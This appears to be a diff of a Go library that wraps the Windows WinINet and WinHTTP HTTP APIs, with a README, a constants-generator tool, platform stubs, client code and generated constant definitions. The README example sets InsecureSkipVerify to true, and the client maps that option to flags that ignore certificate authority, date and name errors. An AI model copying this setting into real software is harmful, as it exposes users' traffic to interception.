||||
**Note:** This is probably beta quality at best.
|
||||
|
||||
[WinINet over WinHTTP]: https://docs.microsoft.com/en-us/windows/win32/wininet/wininet-vs-winhttp
|
||||
|
||||
## How to install
|
||||
|
||||
Open a terminal and run the following:
|
||||
|
||||
```
|
||||
$ go get --ldflags="-s -w" --trimpath -u gitlab.com/mjwhitta/win
|
||||
```
|
||||
|
||||
## Usage
|
||||
|
||||
Minimal example:
|
||||
|
||||
```
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
|
||||
// "gitlab.com/mjwhitta/win/winhttp/http"
|
||||
"gitlab.com/mjwhitta/win/wininet/http"
|
||||
)
|
||||
|
||||
func main() {
|
||||
var b []byte
|
||||
var dst = "http://127.0.0.1:8080/asdf"
|
||||
var e error
|
||||
var headers = map[string]string{
|
||||
"User-Agent": "testing, testing, 1, 2, 3...",
|
||||
}
|
||||
var req *http.Request
|
||||
var res *http.Response
|
||||
|
||||
http.DefaultClient.TLSClientConfig.InsecureSkipVerify = true
|
||||
|
||||
if _, e = http.Get(dst); e != nil {
|
||||
panic(e)
|
||||
}
|
||||
|
||||
req = http.NewRequest(http.MethodPost, dst, []byte("test"))
|
||||
req.AddCookie(&http.Cookie{Name: "chocolatechip", Value: "tasty"})
|
||||
req.AddCookie(&http.Cookie{Name: "oatmealraisin", Value: "gross"})
|
||||
req.AddCookie(&http.Cookie{Name: "snickerdoodle", Value: "yummy"})
|
||||
req.Headers = headers
|
||||
|
||||
if res, e = http.DefaultClient.Do(req); e != nil {
|
||||
panic(e)
|
||||
}
|
||||
|
||||
if res.Body != nil {
|
||||
if b, e = ioutil.ReadAll(res.Body); e != nil {
|
||||
panic(e)
|
||||
}
|
||||
}
|
||||
|
||||
fmt.Println(res.Status)
|
||||
for k, vs := range res.Header {
|
||||
for _, v := range vs {
|
||||
fmt.Printf("%s: %s\n", k, v)
|
||||
}
|
||||
}
|
||||
if len(b) > 0 {
|
||||
fmt.Println(string(b))
|
||||
}
|
||||
|
||||
if len(res.Cookies()) > 0 {
|
||||
fmt.Println()
|
||||
fmt.Println("# COOKIEJAR")
|
||||
}
|
||||
|
||||
for _, cookie := range res.Cookies() {
|
||||
fmt.Printf("%s = %s\n", cookie.Name, cookie.Value)
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## Links
|
||||
|
||||
- [Source](https://gitlab.com/mjwhitta/win)
|
||||
|
||||
## TODO
|
||||
|
||||
- Mirror `net/http` as close as possible
|
||||
- CookieJar for the Client
|
||||
- etc...
|
||||
- WinINet
|
||||
- FTP client
|
||||
@@ -0,0 +1,249 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"flag"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"os/user"
|
||||
"path/filepath"
|
||||
"sort"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func format(str string) string {
|
||||
if !strings.Contains(str, "_") {
|
||||
return str
|
||||
}
|
||||
|
||||
str = strings.ReplaceAll(strings.ToLower(str), "_", " ")
|
||||
str = strings.ReplaceAll(strings.Title(str), " ", "")
|
||||
str = strings.ReplaceAll(str, "Crlf", "CRLF")
|
||||
str = strings.ReplaceAll(str, "Http", "HTTP")
|
||||
|
||||
return str
|
||||
}
|
||||
|
||||
func genFile(
|
||||
pkg string,
|
||||
cache map[string]string,
|
||||
lines [][]string,
|
||||
) error {
|
||||
var e error
|
||||
var file string = "generated.go"
|
||||
var g *os.File
|
||||
var sorted []string
|
||||
|
||||
if g, e = os.Create(file); e != nil {
|
||||
return fmt.Errorf("failed to create %s: %w", file, e)
|
||||
}
|
||||
defer g.Close()
|
||||
|
||||
g.WriteString(
|
||||
"// Code generated by tools/defines.go; DO NOT EDIT.\n",
|
||||
)
|
||||
g.WriteString("package " + pkg + "\n\n")
|
||||
g.WriteString("const (\n")
|
||||
|
||||
for k := range cache {
|
||||
sorted = append(sorted, k)
|
||||
}
|
||||
|
||||
sort.Slice(
|
||||
sorted,
|
||||
func(i int, j int) bool {
|
||||
return len(sorted[i]) > len(sorted[j])
|
||||
},
|
||||
)
|
||||
|
||||
for _, line := range lines {
|
||||
for _, k := range sorted {
|
||||
line[1] = strings.ReplaceAll(line[1], k, cache[k])
|
||||
}
|
||||
|
||||
if strings.HasPrefix(line[1], "\"") {
|
||||
g.WriteString(
|
||||
fmt.Sprintf("\t%s string = %s\n", line[0], line[1]),
|
||||
)
|
||||
} else if strings.HasPrefix(line[1], "L\"") {
|
||||
g.WriteString(
|
||||
fmt.Sprintf(
|
||||
"\t%s string = %s\n",
|
||||
line[0],
|
||||
strings.Replace(line[1], "L", "", 1),
|
||||
),
|
||||
)
|
||||
} else if strings.HasPrefix(line[1], "TEXT(") {
|
||||
line[1] = strings.Replace(line[1], "TEXT(", "", 1)
|
||||
line[1] = strings.Replace(line[1], ")", "", 1)
|
||||
|
||||
g.WriteString(
|
||||
fmt.Sprintf("\t%s string = %s\n", line[0], line[1]),
|
||||
)
|
||||
} else {
|
||||
g.WriteString(
|
||||
fmt.Sprintf("\t%s uintptr = %s\n", line[0], line[1]),
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
g.WriteString(")\n")
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func init() {
|
||||
flag.Parse()
|
||||
}
|
||||
|
||||
func main() {
|
||||
var cache = map[string]string{
|
||||
"NULL": "0",
|
||||
"sizeof": "len",
|
||||
}
|
||||
var lines [][]string
|
||||
|
||||
if flag.NArg() == 0 {
|
||||
return
|
||||
}
|
||||
|
||||
for i, arg := range flag.Args() {
|
||||
if (i == 0) || !DoesExist(arg) {
|
||||
continue
|
||||
}
|
||||
|
||||
if e := processFile(&cache, &lines, arg); e != nil {
|
||||
panic(e)
|
||||
}
|
||||
}
|
||||
|
||||
if e := genFile(flag.Arg(0), cache, lines); e != nil {
|
||||
panic(e)
|
||||
}
|
||||
}
|
||||
|
||||
func processFile(
|
||||
cache *map[string]string,
|
||||
lines *[][]string,
|
||||
file string,
|
||||
) error {
|
||||
var b []byte
|
||||
var e error
|
||||
var f *os.File
|
||||
var fullLine string
|
||||
var tmp []string
|
||||
|
||||
if f, e = os.Open(ExpandPath(file)); e != nil {
|
||||
return fmt.Errorf("failed to open %s: %w", file, e)
|
||||
}
|
||||
defer f.Close()
|
||||
|
||||
if b, e = ioutil.ReadAll(f); e != nil {
|
||||
return fmt.Errorf("failed to read %s: %w", file, e)
|
||||
}
|
||||
|
||||
for _, line := range strings.Split(string(b), "\n") {
|
||||
line = strings.TrimSpace(line)
|
||||
|
||||
if strings.HasSuffix(line, "\\") {
|
||||
fullLine += line[:len(line)-1]
|
||||
continue
|
||||
} else {
|
||||
fullLine += line
|
||||
}
|
||||
|
||||
line = fullLine
|
||||
fullLine = ""
|
||||
|
||||
if !strings.HasPrefix(line, "#define") {
|
||||
continue
|
||||
}
|
||||
|
||||
line = strings.Replace(line, "#define ", "", 1)
|
||||
tmp = strings.SplitN(line, " ", 2)
|
||||
|
||||
if (len(tmp) != 2) ||
|
||||
strings.Contains(tmp[0], "(") ||
|
||||
strings.Contains(tmp[0], ")") ||
|
||||
strings.Contains(tmp[1], "~") ||
|
||||
strings.Contains(tmp[1], "_(") ||
|
||||
strings.Contains(tmp[1], "DWORD") ||
|
||||
strings.Contains(tmp[1], "EXTERN_C") ||
|
||||
strings.Contains(tmp[1], "__MINGW_NAME") ||
|
||||
(tmp[0]+"W" == tmp[1]) {
|
||||
continue
|
||||
}
|
||||
|
||||
(*cache)[tmp[0]] = format(tmp[0])
|
||||
*lines = append(*lines, []string{format(tmp[0]), tmp[1]})
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// DoesExist returns true if the specified path exists on disk, false
|
||||
// otherwise.
|
||||
func DoesExist(path string) bool {
|
||||
if _, err := os.Stat(ExpandPath(path)); err == nil {
|
||||
return true
|
||||
} else if os.IsNotExist(err) {
|
||||
return false
|
||||
} else {
|
||||
panic(err)
|
||||
}
|
||||
}
|
||||
|
||||
// ExpandPath will expand the specified path accounting for ~ or ~user
|
||||
// shortcuts as well as ENV vars.
|
||||
func ExpandPath(path string) string {
|
||||
var e error
|
||||
var sep int
|
||||
var usr *user.User
|
||||
|
||||
// Fix separators
|
||||
path = filepath.Clean(path)
|
||||
|
||||
// Expand ENV vars
|
||||
path = os.ExpandEnv(path)
|
||||
|
||||
// Expand ~
|
||||
if strings.HasPrefix(path, "~") {
|
||||
sep = strings.Index(path, string(filepath.Separator))
|
||||
|
||||
switch sep {
|
||||
case -1:
|
||||
// If just ~
|
||||
if path == "~" {
|
||||
if usr, e = user.Current(); e != nil {
|
||||
return path
|
||||
}
|
||||
} else {
|
||||
// If ~user shortcut
|
||||
if usr, e = user.Lookup(path[1:]); e != nil {
|
||||
return path
|
||||
}
|
||||
}
|
||||
|
||||
path = ""
|
||||
case 1:
|
||||
// If path starting with ~/
|
||||
if usr, e = user.Current(); e != nil {
|
||||
return path
|
||||
}
|
||||
|
||||
path = path[2:]
|
||||
default:
|
||||
// If ~user/ shortcut
|
||||
if usr, e = user.Lookup(path[1:sep]); e != nil {
|
||||
return path
|
||||
}
|
||||
|
||||
path = path[sep+1:]
|
||||
}
|
||||
|
||||
return filepath.Join(usr.HomeDir, path)
|
||||
}
|
||||
|
||||
// Otherwise just return path
|
||||
return path
|
||||
}
|
||||
@@ -0,0 +1,37 @@
|
||||
//go:build !windows
|
||||
|
||||
package winhttp
|
||||
|
||||
import "errors"
|
||||
|
||||
// Client is an empty struct, if not Windows.
|
||||
type Client struct{}
|
||||
|
||||
// NewClient is only supported on Windows.
|
||||
func NewClient() (*Client, error) {
|
||||
return &Client{}, errors.New("unsupported OS")
|
||||
}
|
||||
|
||||
// Do is only supported on Windows.
|
||||
func (c *Client) Do(r *Request) (*Response, error) {
|
||||
return nil, errors.New("unsupported OS")
|
||||
}
|
||||
|
||||
// Get is only supported on Windows.
|
||||
func (c *Client) Get(url string) (*Response, error) {
|
||||
return nil, errors.New("unsupported OS")
|
||||
}
|
||||
|
||||
// Head is only supported on Windows.
|
||||
func (c *Client) Head(url string) (*Response, error) {
|
||||
return nil, errors.New("unsupported OS")
|
||||
}
|
||||
|
||||
// Post is only supported on Windows.
|
||||
func (c *Client) Post(
|
||||
url string,
|
||||
contentType string,
|
||||
body []byte,
|
||||
) (*Response, error) {
|
||||
return nil, errors.New("unsupported OS")
|
||||
}
|
||||
@@ -0,0 +1,178 @@
|
||||
package winhttp
|
||||
|
||||
import (
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"net/http"
|
||||
"time"
|
||||
)
|
||||
|
||||
// Client is a struct containing relevant metadata to make HTTP
|
||||
// requests.
|
||||
type Client struct {
|
||||
handle uintptr
|
||||
Timeout time.Duration
|
||||
TLSClientConfig struct {
|
||||
InsecureSkipVerify bool
|
||||
}
|
||||
}
|
||||
|
||||
// NewClient will return a pointer to a new Client instance that
|
||||
// simply wraps the net/http.Client type.
|
||||
func NewClient(userAgent string) (*Client, error) {
|
||||
var c = &Client{}
|
||||
var e error
|
||||
|
||||
// Create session
|
||||
c.handle, e = Open(
|
||||
userAgent,
|
||||
WinhttpAccessTypeAutomaticProxy,
|
||||
"",
|
||||
"",
|
||||
0,
|
||||
)
|
||||
if e != nil {
|
||||
return nil, fmt.Errorf("failed to create session: %w", e)
|
||||
}
|
||||
|
||||
return c, nil
|
||||
}
|
||||
|
||||
// Do will send the HTTP request and return an HTTP response.
|
||||
func (c *Client) Do(request *http.Request) (*http.Response, error) {
|
||||
var buf []byte
|
||||
var err error
|
||||
var reqHandle uintptr
|
||||
var resp *Response
|
||||
var tlsIgnore uintptr
|
||||
|
||||
// Convert http.Request to internal pkg Request
|
||||
var rawBody []byte
|
||||
if request.Body != nil {
|
||||
rawBody, err = ioutil.ReadAll(request.Body)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to read request body: %w", err)
|
||||
}
|
||||
}
|
||||
|
||||
headers := make(map[string]string)
|
||||
for headerName, headerValue := range request.Header {
|
||||
if 0 < len(headerValue) {
|
||||
headers[headerName] = headerValue[0]
|
||||
}
|
||||
}
|
||||
req := &Request{
|
||||
Method: request.Method,
|
||||
URL: request.URL.String(),
|
||||
Headers: headers,
|
||||
Body: rawBody,
|
||||
}
|
||||
if reqHandle, err = buildRequest(c.handle, req); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
if c.Timeout > 0 {
|
||||
buf = make([]byte, 4)
|
||||
binary.LittleEndian.PutUint32(
|
||||
buf,
|
||||
uint32(c.Timeout.Milliseconds()),
|
||||
)
|
||||
|
||||
err = SetOption(
|
||||
reqHandle,
|
||||
WinhttpOptionConnectTimeout,
|
||||
buf,
|
||||
len(buf),
|
||||
)
|
||||
if err != nil {
|
||||
err = fmt.Errorf("failed to set connect timeout: %w", err)
|
||||
return nil, err
|
||||
}
|
||||
|
||||
err = SetOption(
|
||||
reqHandle,
|
||||
WinhttpOptionReceiveResponseTimeout,
|
||||
buf,
|
||||
len(buf),
|
||||
)
|
||||
if err != nil {
|
||||
err = fmt.Errorf("failed to set response timeout: %w", err)
|
||||
return nil, err
|
||||
}
|
||||
|
||||
err = SetOption(
|
||||
reqHandle,
|
||||
WinhttpOptionReceiveTimeout,
|
||||
buf,
|
||||
len(buf),
|
||||
)
|
||||
if err != nil {
|
||||
err = fmt.Errorf("failed to set receive timeout: %w", err)
|
||||
return nil, err
|
||||
}
|
||||
|
||||
err = SetOption(
|
||||
reqHandle,
|
||||
WinhttpOptionResolveTimeout,
|
||||
buf,
|
||||
len(buf),
|
||||
)
|
||||
if err != nil {
|
||||
err = fmt.Errorf("failed to set resolve timeout: %w", err)
|
||||
return nil, err
|
||||
}
|
||||
|
||||
err = SetOption(
|
||||
reqHandle,
|
||||
WinhttpOptionSendTimeout,
|
||||
buf,
|
||||
len(buf),
|
||||
)
|
||||
if err != nil {
|
||||
err = fmt.Errorf("failed to set send timeout: %w", err)
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
|
||||
if c.TLSClientConfig.InsecureSkipVerify {
|
||||
tlsIgnore |= SecurityFlagIgnoreUnknownCa
|
||||
tlsIgnore |= SecurityFlagIgnoreCertDateInvalid
|
||||
tlsIgnore |= SecurityFlagIgnoreCertCnInvalid
|
||||
tlsIgnore |= SecurityFlagIgnoreCertWrongUsage
|
||||
|
||||
buf = make([]byte, 4)
|
||||
binary.LittleEndian.PutUint32(buf, uint32(tlsIgnore))
|
||||
|
||||
err = SetOption(
|
||||
reqHandle,
|
||||
WinhttpOptionSecurityFlags,
|
||||
buf,
|
||||
len(buf),
|
||||
)
|
||||
if err != nil {
|
||||
err = fmt.Errorf("failed to set security flags: %w", err)
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
|
||||
if err = sendRequest(reqHandle, req); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
if resp, err = buildResponse(reqHandle, req); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return &http.Response{
|
||||
Status: resp.Status,
|
||||
StatusCode: resp.StatusCode,
|
||||
Proto: "HTTP/1.1",
|
||||
ProtoMajor: 1,
|
||||
ProtoMinor: 1,
|
||||
Body: resp.Body,
|
||||
ContentLength: resp.ContentLength,
|
||||
Request: request,
|
||||
Header: make(http.Header),
|
||||
}, nil
|
||||
}
|
||||
@@ -0,0 +1,8 @@
|
||||
package winhttp
|
||||
|
||||
// Cookie represents an HTTP cookie sent in the Cookie header of an
|
||||
// HTTP Request.
|
||||
type Cookie struct {
|
||||
Name string
|
||||
Value string
|
||||
}
|
||||
@@ -0,0 +1,462 @@
|
||||
// Code generated by tools/defines.go; DO NOT EDIT.
|
||||
package winhttp
|
||||
|
||||
const (
|
||||
InternetDefaultPort uintptr = 0
|
||||
InternetDefaultHTTPPort uintptr = 80
|
||||
InternetDefaultHTTPsPort uintptr = 443
|
||||
InternetSchemeHTTP uintptr = 1
|
||||
InternetSchemeHTTPs uintptr = 2
|
||||
InternetSchemeFtp uintptr = 3
|
||||
InternetSchemeSocks uintptr = 4
|
||||
IcuEscape uintptr = 0x80000000
|
||||
IcuEscapeAuthority uintptr = 0x00002000
|
||||
IcuRejectUserpwd uintptr = 0x00004000
|
||||
WinhttpFlagAsync uintptr = 0x10000000
|
||||
WinhttpFlagEscapePercent uintptr = 0x00000004
|
||||
WinhttpFlagNullCodepage uintptr = 0x00000008
|
||||
WinhttpFlagEscapeDisable uintptr = 0x00000040
|
||||
WinhttpFlagEscapeDisableQuery uintptr = 0x00000080
|
||||
WinhttpFlagBypassProxyCache uintptr = 0x00000100
|
||||
WinhttpFlagRefresh uintptr = WinhttpFlagBypassProxyCache
|
||||
WinhttpFlagSecure uintptr = 0x00800000
|
||||
WinhttpAccessTypeDefaultProxy uintptr = 0
|
||||
WinhttpAccessTypeNoProxy uintptr = 1
|
||||
WinhttpAccessTypeNamedProxy uintptr = 3
|
||||
WinhttpAccessTypeAutomaticProxy uintptr = 4
|
||||
WinhttpNoProxyName uintptr = 0
|
||||
WinhttpNoProxyBypass uintptr = 0
|
||||
WinhttpNoClientCertContext uintptr = 0
|
||||
WinhttpNoReferer uintptr = 0
|
||||
WinhttpDefaultAcceptTypes uintptr = 0
|
||||
WinhttpNoAdditionalHeaders uintptr = 0
|
||||
WinhttpNoRequestData uintptr = 0
|
||||
WinhttpHeaderNameByIndex uintptr = 0
|
||||
WinhttpNoOutputBuffer uintptr = 0
|
||||
WinhttpNoHeaderIndex uintptr = 0
|
||||
WinhttpAddreqIndexMask uintptr = 0x0000FFFF
|
||||
WinhttpAddreqFlagsMask uintptr = 0xFFFF0000
|
||||
WinhttpAddreqFlagAddIfNew uintptr = 0x10000000
|
||||
WinhttpAddreqFlagAdd uintptr = 0x20000000
|
||||
WinhttpAddreqFlagCoalesceWithComma uintptr = 0x40000000
|
||||
WinhttpAddreqFlagCoalesceWithSemicolon uintptr = 0x01000000
|
||||
WinhttpAddreqFlagCoalesce uintptr = WinhttpAddreqFlagCoalesceWithComma
|
||||
WinhttpAddreqFlagReplace uintptr = 0x80000000
|
||||
WinhttpIgnoreRequestTotalLength uintptr = 0
|
||||
WinhttpFirstOption uintptr = WinhttpOptionCallback
|
||||
WinhttpOptionCallback uintptr = 1
|
||||
WinhttpOptionResolveTimeout uintptr = 2
|
||||
WinhttpOptionConnectTimeout uintptr = 3
|
||||
WinhttpOptionConnectRetries uintptr = 4
|
||||
WinhttpOptionSendTimeout uintptr = 5
|
||||
WinhttpOptionReceiveTimeout uintptr = 6
|
||||
WinhttpOptionReceiveResponseTimeout uintptr = 7
|
||||
WinhttpOptionHandleType uintptr = 9
|
||||
WinhttpOptionReadBufferSize uintptr = 12
|
||||
WinhttpOptionWriteBufferSize uintptr = 13
|
||||
WinhttpOptionParentHandle uintptr = 21
|
||||
WinhttpOptionExtendedError uintptr = 24
|
||||
WinhttpOptionSecurityFlags uintptr = 31
|
||||
WinhttpOptionSecurityCertificateStruct uintptr = 32
|
||||
WinhttpOptionUrl uintptr = 34
|
||||
WinhttpOptionSecurityKeyBitness uintptr = 36
|
||||
WinhttpOptionProxy uintptr = 38
|
||||
WinhttpOptionProxyResultEntry uintptr = 39
|
||||
WinhttpOptionUserAgent uintptr = 41
|
||||
WinhttpOptionContextValue uintptr = 45
|
||||
WinhttpOptionClientCertContext uintptr = 47
|
||||
WinhttpOptionRequestPriority uintptr = 58
|
||||
WinhttpOptionHTTPVersion uintptr = 59
|
||||
WinhttpOptionDisableFeature uintptr = 63
|
||||
WinhttpOptionCodepage uintptr = 68
|
||||
WinhttpOptionMaxConnsPerServer uintptr = 73
|
||||
WinhttpOptionMaxConnsPer10Server uintptr = 74
|
||||
WinhttpOptionAutologonPolicy uintptr = 77
|
||||
WinhttpOptionServerCertContext uintptr = 78
|
||||
WinhttpOptionEnableFeature uintptr = 79
|
||||
WinhttpOptionWorkerThreadCount uintptr = 80
|
||||
WinhttpOptionPassportCobrandingText uintptr = 81
|
||||
WinhttpOptionPassportCobrandingUrl uintptr = 82
|
||||
WinhttpOptionConfigurePassportAuth uintptr = 83
|
||||
WinhttpOptionSecureProtocols uintptr = 84
|
||||
WinhttpOptionEnabletracing uintptr = 85
|
||||
WinhttpOptionPassportSignOut uintptr = 86
|
||||
WinhttpOptionPassportReturnUrl uintptr = 87
|
||||
WinhttpOptionRedirectPolicy uintptr = 88
|
||||
WinhttpOptionMaxHTTPAutomaticRedirects uintptr = 89
|
||||
WinhttpOptionMaxHTTPStatusContinue uintptr = 90
|
||||
WinhttpOptionMaxResponseHeaderSize uintptr = 91
|
||||
WinhttpOptionMaxResponseDrainSize uintptr = 92
|
||||
WinhttpOptionConnectionInfo uintptr = 93
|
||||
WinhttpOptionClientCertIssuerList uintptr = 94
|
||||
WinhttpOptionSpn uintptr = 96
|
||||
WinhttpOptionGlobalProxyCreds uintptr = 97
|
||||
WinhttpOptionGlobalServerCreds uintptr = 98
|
||||
WinhttpOptionUnloadNotifyEvent uintptr = 99
|
||||
WinhttpOptionRejectUserpwdInUrl uintptr = 100
|
||||
WinhttpOptionUseGlobalServerCredentials uintptr = 101
|
||||
WinhttpOptionReceiveProxyConnectResponse uintptr = 103
|
||||
WinhttpOptionIsProxyConnectResponse uintptr = 104
|
||||
WinhttpOptionServerSpnUsed uintptr = 106
|
||||
WinhttpOptionProxySpnUsed uintptr = 107
|
||||
WinhttpOptionServerCbt uintptr = 108
|
||||
WinhttpOptionUnsafeHeaderParsing uintptr = 110
|
||||
WinhttpOptionAssuredNonBlockingCallbacks uintptr = 111
|
||||
WinhttpOptionUpgradeToWebSocket uintptr = 114
|
||||
WinhttpOptionWebSocketCloseTimeout uintptr = 115
|
||||
WinhttpOptionWebSocketKeepaliveInterval uintptr = 116
|
||||
WinhttpOptionDecompression uintptr = 118
|
||||
WinhttpOptionWebSocketReceiveBufferSize uintptr = 122
|
||||
WinhttpOptionWebSocketSendBufferSize uintptr = 123
|
||||
WinhttpOptionTcpPriorityHint uintptr = 128
|
||||
WinhttpOptionConnectionFilter uintptr = 131
|
||||
WinhttpOptionEnableHTTPProtocol uintptr = 133
|
||||
WinhttpOptionHTTPProtocolUsed uintptr = 134
|
||||
WinhttpOptionKdcProxySettings uintptr = 136
|
||||
WinhttpOptionEncodeExtra uintptr = 138
|
||||
WinhttpOptionDisableStreamQueue uintptr = 139
|
||||
WinhttpOptionIpv6FastFallback uintptr = 140
|
||||
WinhttpOptionConnectionStatsV0 uintptr = 141
|
||||
WinhttpOptionRequestTimes uintptr = 142
|
||||
WinhttpOptionExpireConnection uintptr = 143
|
||||
WinhttpOptionDisableSecureProtocolFallback uintptr = 144
|
||||
WinhttpOptionHTTPProtocolRequired uintptr = 145
|
||||
WinhttpOptionRequestStats uintptr = 146
|
||||
WinhttpOptionServerCertChainContext uintptr = 147
|
||||
WinhttpLastOption uintptr = WinhttpOptionServerCertChainContext
|
||||
WinhttpOptionUsername uintptr = 0x1000
|
||||
WinhttpOptionPassword uintptr = 0x1001
|
||||
WinhttpOptionProxyUsername uintptr = 0x1002
|
||||
WinhttpOptionProxyPassword uintptr = 0x1003
|
||||
WinhttpConnsPerServerUnlimited uintptr = 0xFFFFFFFF
|
||||
WinhttpDecompressionFlagGzip uintptr = 0x00000001
|
||||
WinhttpDecompressionFlagDeflate uintptr = 0x00000002
|
||||
WinhttpDecompressionFlagAll uintptr = (WinhttpDecompressionFlagGzip | WinhttpDecompressionFlagDeflate)
|
||||
WinhttpProtocolFlagHTTP2 uintptr = 0x1
|
||||
WinhttpProtocolMask uintptr = WinhttpProtocolFlagHTTP2
|
||||
WinhttpAutologonSecurityLevelMedium uintptr = 0
|
||||
WinhttpAutologonSecurityLevelLow uintptr = 1
|
||||
WinhttpAutologonSecurityLevelHigh uintptr = 2
|
||||
WinhttpAutologonSecurityLevelDefault uintptr = WinhttpAutologonSecurityLevelMedium
|
||||
WinhttpOptionRedirectPolicyNever uintptr = 0
|
||||
WinhttpOptionRedirectPolicyDisallowHTTPsToHTTP uintptr = 1
|
||||
WinhttpOptionRedirectPolicyAlways uintptr = 2
|
||||
WinhttpOptionRedirectPolicyLast uintptr = WinhttpOptionRedirectPolicyAlways
|
||||
WinhttpOptionRedirectPolicyDefault uintptr = WinhttpOptionRedirectPolicyDisallowHTTPsToHTTP
|
||||
WinhttpDisablePassportAuth uintptr = 0x00000000
|
||||
WinhttpEnablePassportAuth uintptr = 0x10000000
|
||||
WinhttpDisablePassportKeyring uintptr = 0x20000000
|
||||
WinhttpEnablePassportKeyring uintptr = 0x40000000
|
||||
WinhttpDisableCookies uintptr = 0x00000001
|
||||
WinhttpDisableRedirects uintptr = 0x00000002
|
||||
WinhttpDisableAuthentication uintptr = 0x00000004
|
||||
WinhttpDisableKeepAlive uintptr = 0x00000008
|
||||
WinhttpEnableSslRevocation uintptr = 0x00000001
|
||||
WinhttpEnableSslRevertImpersonation uintptr = 0x00000002
|
||||
WinhttpDisableSpnServerPort uintptr = 0x00000000
|
||||
WinhttpEnableSpnServerPort uintptr = 0x00000001
|
||||
WinhttpOptionSpnMask uintptr = WinhttpEnableSpnServerPort
|
||||
WinhttpErrorBase uintptr = 12000
|
||||
ErrorWinhttpOutOfHandles uintptr = (WinhttpErrorBase + 1)
|
||||
ErrorWinhttpTimeout uintptr = (WinhttpErrorBase + 2)
|
||||
ErrorWinhttpInternalError uintptr = (WinhttpErrorBase + 4)
|
||||
ErrorWinhttpInvalidUrl uintptr = (WinhttpErrorBase + 5)
|
||||
ErrorWinhttpUnrecognizedScheme uintptr = (WinhttpErrorBase + 6)
|
||||
ErrorWinhttpNameNotResolved uintptr = (WinhttpErrorBase + 7)
|
||||
ErrorWinhttpInvalidOption uintptr = (WinhttpErrorBase + 9)
|
||||
ErrorWinhttpOptionNotSettable uintptr = (WinhttpErrorBase + 11)
|
||||
ErrorWinhttpShutdown uintptr = (WinhttpErrorBase + 12)
|
||||
ErrorWinhttpLoginFailure uintptr = (WinhttpErrorBase + 15)
|
||||
ErrorWinhttpOperationCancelled uintptr = (WinhttpErrorBase + 17)
|
||||
ErrorWinhttpIncorrectHandleType uintptr = (WinhttpErrorBase + 18)
|
||||
ErrorWinhttpIncorrectHandleState uintptr = (WinhttpErrorBase + 19)
|
||||
ErrorWinhttpCannotConnect uintptr = (WinhttpErrorBase + 29)
|
||||
ErrorWinhttpConnectionError uintptr = (WinhttpErrorBase + 30)
|
||||
ErrorWinhttpResendRequest uintptr = (WinhttpErrorBase + 32)
|
||||
ErrorWinhttpSecureCertDateInvalid uintptr = (WinhttpErrorBase + 37)
|
||||
ErrorWinhttpSecureCertCnInvalid uintptr = (WinhttpErrorBase + 38)
|
||||
ErrorWinhttpClientAuthCertNeeded uintptr = (WinhttpErrorBase + 44)
|
||||
ErrorWinhttpSecureInvalidCa uintptr = (WinhttpErrorBase + 45)
|
||||
ErrorWinhttpSecureCertRevFailed uintptr = (WinhttpErrorBase + 57)
|
||||
ErrorWinhttpCannotCallBeforeOpen uintptr = (WinhttpErrorBase + 100)
|
||||
ErrorWinhttpCannotCallBeforeSend uintptr = (WinhttpErrorBase + 101)
|
||||
ErrorWinhttpCannotCallAfterSend uintptr = (WinhttpErrorBase + 102)
|
||||
ErrorWinhttpCannotCallAfterOpen uintptr = (WinhttpErrorBase + 103)
|
||||
ErrorWinhttpHeaderNotFound uintptr = (WinhttpErrorBase + 150)
|
||||
ErrorWinhttpInvalidServerResponse uintptr = (WinhttpErrorBase + 152)
|
||||
ErrorWinhttpInvalidHeader uintptr = (WinhttpErrorBase + 153)
|
||||
ErrorWinhttpInvalidQueryRequest uintptr = (WinhttpErrorBase + 154)
|
||||
ErrorWinhttpHeaderAlreadyExists uintptr = (WinhttpErrorBase + 155)
|
||||
ErrorWinhttpRedirectFailed uintptr = (WinhttpErrorBase + 156)
|
||||
ErrorWinhttpSecureChannelError uintptr = (WinhttpErrorBase + 157)
|
||||
ErrorWinhttpBadAutoProxyScript uintptr = (WinhttpErrorBase + 166)
|
||||
ErrorWinhttpUnableToDownloadScript uintptr = (WinhttpErrorBase + 167)
|
||||
ErrorWinhttpSecureInvalidCert uintptr = (WinhttpErrorBase + 169)
|
||||
ErrorWinhttpSecureCertRevoked uintptr = (WinhttpErrorBase + 170)
|
||||
ErrorWinhttpNotInitialized uintptr = (WinhttpErrorBase + 172)
|
||||
ErrorWinhttpSecureFailure uintptr = (WinhttpErrorBase + 175)
|
||||
ErrorWinhttpUnhandledScriptType uintptr = (WinhttpErrorBase + 176)
|
||||
ErrorWinhttpScriptExecutionError uintptr = (WinhttpErrorBase + 177)
|
||||
ErrorWinhttpAutoProxyServiceError uintptr = (WinhttpErrorBase + 178)
|
||||
ErrorWinhttpSecureCertWrongUsage uintptr = (WinhttpErrorBase + 179)
|
||||
ErrorWinhttpAutodetectionFailed uintptr = (WinhttpErrorBase + 180)
|
||||
ErrorWinhttpHeaderCountExceeded uintptr = (WinhttpErrorBase + 181)
|
||||
ErrorWinhttpHeaderSizeOverflow uintptr = (WinhttpErrorBase + 182)
|
||||
ErrorWinhttpChunkedEncodingHeaderSizeOverflow uintptr = (WinhttpErrorBase + 183)
|
||||
ErrorWinhttpResponseDrainOverflow uintptr = (WinhttpErrorBase + 184)
|
||||
ErrorWinhttpClientCertNoPrivateKey uintptr = (WinhttpErrorBase + 185)
|
||||
ErrorWinhttpClientCertNoAccessPrivateKey uintptr = (WinhttpErrorBase + 186)
|
||||
ErrorWinhttpClientAuthCertNeededProxy uintptr = (WinhttpErrorBase + 187)
|
||||
ErrorWinhttpSecureFailureProxy uintptr = (WinhttpErrorBase + 188)
|
||||
